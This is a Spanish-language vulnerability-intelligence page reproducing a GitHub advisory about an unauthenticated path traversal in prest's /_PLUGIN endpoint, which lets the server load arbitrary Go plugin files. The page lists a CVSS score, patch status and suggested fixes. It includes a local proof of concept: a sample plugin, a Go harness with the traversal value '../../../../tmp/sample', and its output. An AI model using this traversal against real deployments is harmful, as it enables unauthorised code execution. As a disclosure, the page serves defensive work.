llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · github.com/prest/prest

GHSA-FMR6-9J48-XRQP

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') and Missing Authentication for Critical Function in github.com/prest/prest

Sin parche publicado
Descargar PNG JSON
CVSS 3.1
8.1
Alta
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H Fuente: GitHub
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición33 dDesde la divulgación, 18 oct 2026, 7:10 p. m.
Detección31 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir de cerca
Monitorear y programar la remediación
Estimación de Llama con el árbol SSVC de CISA a partir de vector CVSS 3.1 y la evidencia de explotación (sin evaluación oficial): sin explotación conocida, no automatizable e impacto técnico total. No hay versión corregida: aplique mitigaciones.
Esto amerita una regla de detección, por si acaso.Ponle fecha: las tareas sin fecha son leyendas.
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
19 oct 26
19 nov 26
21 nov 26
19 oct 26
27 oct 26
4 nov 26
13 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-FMR6-9J48-XRQP divulgada · CVSS 8.1 (GitHub)
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

### Summary
The `/_PLUGIN/{file}/{func}` endpoint loads a Go shared object (`.so`) file from disk using an attacker-controlled URL path segment with no containment check against the configured plugin directory. The route is also not individually authenticated — it is only covered by a global JWT middleware that is disabled by default (`jwt.default = false`). On a default configuration, an unauthenticated remote attacker can cause the server to load and execute any Go plugin reachable via path traversal from `PluginPath`.

### Details
In `plugins/plugins.go`, `loadFunc()`:

libPath := filepath.Join(plg.cfg.PluginPath, fmt.Sprintf("%s.so", fileName))
...
p, err = plugin.Open(libPath)

`fileName` is taken directly from the `{file}` mux route variable with no validation and no containment check before being joined onto `PluginPath` and passed to `plugin.Open`. `filepath.Join` normalizes `..` segments syntactically but does not prevent the resulting path from resolving outside `PluginPath`.

The route is registered in `router/router.go` with a bare handler and no auth wrapper:

router.HandleFunc("/_PLUGIN/{file}/{func}", plg.Handler())

Compare this to the codebase's own script-loading feature (`adapters/postgres/script_runner.go`), which correctly guards against this exact class of bug with an explicit two-stage containment check (`withinBase` + symlink-safe `resolvedWithinBase`). No equivalent check exists for plugin loading.

The only nominal protection is the global JWT middleware (`middlewares/config.go`), gated on `cfg.EnableDefaultJWT`, which defaults to `false` (`config/config.go`, `v.SetDefault("jwt.default", false)`; confirmed in the shipped `samples/prest.sample.toml`). So on a default or typical deployment, this endpoint is reachable without any authentication.

### PoC
Tested locally against commit `9070bda7e9ab6b6484e04a0983b8afd61c8315e6` (v2.4.2) by invoking `plugins.New(cfg).Handler()` directly — the same handler `router.go` wires to `/_PLUGIN/{file}/{func}` — with `cfg.PluginPath` set to a legitimate plugin directory and request vars pointing outside it via traversal.

1. Build a plugin outside `PluginPath`:

// /tmp/sample.go
package main

var HTTPVars map[string]string
var URLQuery map[string][]string

func GETsomeFunctionHandler() (string, int) {
    return `{"pwned":true}`, 200
}
go build -buildmode=plugin -o /tmp/sample.so /tmp/sample.go

2. Test harness simulating the route:

package main

import (
    "fmt"
    "net/http/httptest"
    "github.com/gorilla/mux"
    "github.com/prest/prest/v2/config"
    "github.com/prest/prest/v2/plugins"
)

func main() {
    cfg := &config.Prest{
        PluginPath: "/var/lib/prest/plugins", // the *intended* plugin directory
    }
    plg := plugins.New(cfg)
    handler := plg.Handler()

    req := httptest.NewRequest("GET", "/_PLUGIN/read/func", nil)
    vars := map[string]string{
        "file": "../../../../tmp/sample", // traverses OUT of PluginPath
        "func": "someFunction",
    }
    req = mux.SetURLVars(req, vars)

    rec := httptest.NewRecorder()
    handler.ServeHTTP(rec, req)

    fmt.Printf("Response Status Code: %d\n", rec.Code)
    fmt.Printf("Response Body: %s\n", rec.Body.String())
}

3. Run:

go run test_server.go

Result:

Response Status Code: 200
Response Body: {"pwned":true}

The plugin at `/tmp/sample.so` — entirely outside the configured `PluginPath` (`/var/lib/prest/plugins`) — was loaded and its exported handler executed, with no authentication check applied, confirming the traversal is fully exploitable to arbitrary code execution when a plugin file is reachable via the traversal path.

Note on remote exploitability: this PoC demonstrates that the traversal-and-load primitive itself is fully exploitable given a `.so` file already present on disk somewhere reachable via traversal. We searched the full `prest` codebase for any file-write or upload endpoint that would let a remote, unauthenticated attacker place such a file, and found none — the only file-write in the codebase is a startup-time self-test write to the already-configured cache/queries directory (`config/config.go`, `ensureDir()`), not reachable via any HTTP endpoint. So on a stock `prest` deployment with no other vulnerabilities, this is not by itself a complete remote exploit chain. It becomes full unauthenticated remote code execution in any environment where an attacker can place a file on disk by any other means (a separate upload vulnerability, a writable shared volume, shared hosting, a compromised CI/deploy pipeline, etc.), or where local/adjacent filesystem access is otherwise available.

### Impact
Type: Path Traversal (CWE-22) leading to Arbitrary Code Execution (CWE-94) when combined with any file-placement primitive.

Who is impacted: Any `prest` deployment where:
- `jwt.default` is not explicitly enabled (the shipped default), and
- the `/_PLUGIN` route is reachable (it is registered unconditionally on non-Windows)

is exposed to unauthenticated attackers being able to trigger loading of any `.so` file reachable via traversal from `PluginPath` — including legitimately-deployed plugins, which may themselves be undesirable to invoke with attacker-chosen HTTP vars/query params, and, where a file-placement vector exists elsewhere, full remote code execution.

### Suggested fix
1. Validate `{file}` against a strict allow-list charset (no path separators), consistent with `ident.IsValid()` used elsewhere in the codebase.
2. Add the same containment check used in `script_runner.go` (`withinBase` + symlink-safe `resolvedWithinBase`) before `plugin.Open` in `loadFunc()`.
3. Require authentication on `/_PLUGIN` independent of the global `jwt.default` toggle, since plugin loading is an inherent code-execution primitive and shouldn't rely on a default-off global switch.

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Vector CVSS 3.1

Desglose de métricas

Opción resaltada = valor del vector · izquierda = peor caso · GitHub
Vector de ataqueAV:N
RedAdyacenteLocalFísica
ComplejidadAC:H
BajaAlta
PrivilegiosPR:N
NingunoBajosAltos
InteracciónUI:N
NingunaRequerida
AlcanceS:U
CambiadoSin cambio
ConfidencialidadC:H
AltoBajoNinguno
IntegridadI:H
AltoBajoNinguno
DisponibilidadA:H
AltoBajoNinguno
Score de explotaciónQué tan fácil y probable es que la exploten
7.1/ 10Alto
Vector 7.1 (fácil) · sin evidencia de explotación.
Versiones

Rangos afectados

Afectada Corregida Última
github.com/prest/prest≤ 2.5.1
v1.5.5
2.5.1
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gogithub.com/prest/prest
Sin parche — — v1.5.5 afectada
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/prest/prest/security/advisories/GHSA-fmr6-9j48-xrqp

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.